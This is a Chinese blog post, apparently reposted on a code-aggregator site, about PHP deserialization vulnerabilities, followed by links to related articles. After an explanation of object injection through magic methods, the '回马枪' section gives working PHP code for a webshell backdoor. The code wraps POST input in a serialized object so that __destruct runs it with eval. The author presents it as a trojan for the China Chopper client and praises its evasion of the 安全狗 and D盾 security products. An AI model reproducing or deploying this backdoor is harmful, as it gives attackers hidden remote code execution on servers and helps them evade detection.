代码编织梦想

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。本文主要和大家分享PHP反序列化漏洞详解,希望能帮助到大家。

0x01 PHP反序

说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。<?php

class A{

var $test = "demo";

}

$a = new A(); // 生成a对象

$b = serialize($a); // 序列化a对象为b

$c = unserialize($b); // 反序列化b对象为c

print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}

echo "\n";

print_r($c->test); // 输出对象c中test的值:demo

?>

0x02 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。

而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。这样,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。<?php

class A{

var $test = "demo";

function __destruct(){

echo $this->test;

}

}

$a = $_GET['test'];

$a_unser = unserialize($a);

?>

比如上述代码,构造payload为http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}

反序列化后在脚本运行结束时就会调用_destruct函数,同时会覆盖test变量输出hello。

92f6ab528535ce86f3db241bfd1c5216.png

0x03 回马枪

我们可以利用该漏洞点,控制输入变量,拼接成一个序列化对象。然后再构造一个魔法函数,比如在_destruct()函数中调用eval执行序列化对象中的语句。<?php

class A{

var $test = "demo";

function __destruct(){

@eval($this->test);

}

}

$test = $_POST['test'];

$len = strlen($test)+1;

$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象

$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数

?>

18322c61d8e4827576427c7a1317c467.png

0x04 效果演示

直接菜刀链接:

bba2b422725030090a48b061d276f33a.png

1dea3af86796f9cdd520dec655c0c324.png

安全狗:

a4c80ecaef2de221086914b1dc6e6aab.png

此木马毕竟是跟正常文件太像,所以免杀效果很不错。这里只是测试了安全狗、D盾,其余自测。

小结

而且由此可以引发很多变形,这里只是利用反序列化漏洞,其他漏洞也可以用来当作木马的载体,毕竟cms的代码执行漏洞在被发现之前,他依旧是一个正常到不能再正常的文件。

相关推荐:

php反序列化漏洞学习总结_brucetg的博客-爱代码爱编程

  一直以来总是觉得对PHP反序列化漏洞的理解比较模糊,今天抽时间深入学习下PHP反序列化漏洞的成因以及利用方式,在此做一个总结。    参考链接:              http://bobao.360.cn/learning/detail/3193.html       http://blog.csdn.net/qq_32400

pikachu靶场 :十二、PHP反序列化-爱代码爱编程

pikachu靶场 :十二、PHP反序列化 概论漏洞输出xss文件读取 概论 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="bi

PiKachu靶场之PHP反序列化漏洞-爱代码爱编程

前言 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize()序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建

[反序列化篇]史上最全PHP反序列化漏洞实例复现姿势详解(补充ing)-爱代码爱编程

0x01 实验环境 靶场:pikachu+LKWA 平台:bugku+攻防世界+0CTF+南邮ctf+其他 环境:win10+VPS(ubuntu)+Docker 工具:Burp+MantraPortable 预备知识 Session反序列化漏洞 phar://协议 phar文件 简单回顾 对上一篇博客做一些补充: 所谓序列化(ser

java反序列化漏洞利用工具_PHP反序列化漏洞说明-爱代码爱编程

序列化 PHP程序为了保存和转储对象,提供了序列化的方法,序列化是为了在程序运行的过程中对对象进行转储而产生的。 序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。 PHP序列化的函数为serialize,反序列化的函数为unserialize. 举个栗子: <?php class Test{

php+反序列化代码执行漏洞,php反序列化漏洞总结-爱代码爱编程

0X00 背景 上周打ctf遇到了一道php反序列化的题,不是很难,但是还是想就着这道题把php反序列化漏洞做下总结。 0X01 php序列化 说php反序列化首先还是要说下什么是php序列化。 PHP serialize — 产生一个可存储的值的表示 1 serialize—产生一个可存储的值的表示 这是php官网对它的解释,也就是说

PHP反序列化由浅入深,php反序列化总结(一)-爱代码爱编程

一、魔术方法 1、列举 __wakeup() //使用unserialize时触发 __sleep()//使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic()//在静态上下文中调用不可访问的方法时触发 __get() //用

php反序列化绕过,【技术分享】PHP反序列化漏洞-爱代码爱编程

前言 序列化给我们传递对象提供了一种简单的方法serialize()将一个对象转换成一个字符串unserialize()将字符串还原为一个对象。此类函数的使用本身没有危害,但是传入反序列化函数的字符串用户可控的时候就会存在漏洞——PHP对象注入 正文POP链 序列化的关键在于能够在目标代码当中找到一条可以控制的POP链,POP链就是class A

详解PHP反序列化漏洞-爱代码爱编程

详解PHP反序列化漏洞 序列化与反序列化定义常见使用情况常见的序列化格式反序列化中常见的魔术方法反序列化绕过protected和private绕过__wakeup绕过(CVE-2016-7124)引用利用16进制绕过字符过滤同名方法的利用绕过部分正则字符逃逸字符增多字符减少对象注入session反序列化漏洞session定义PHP session工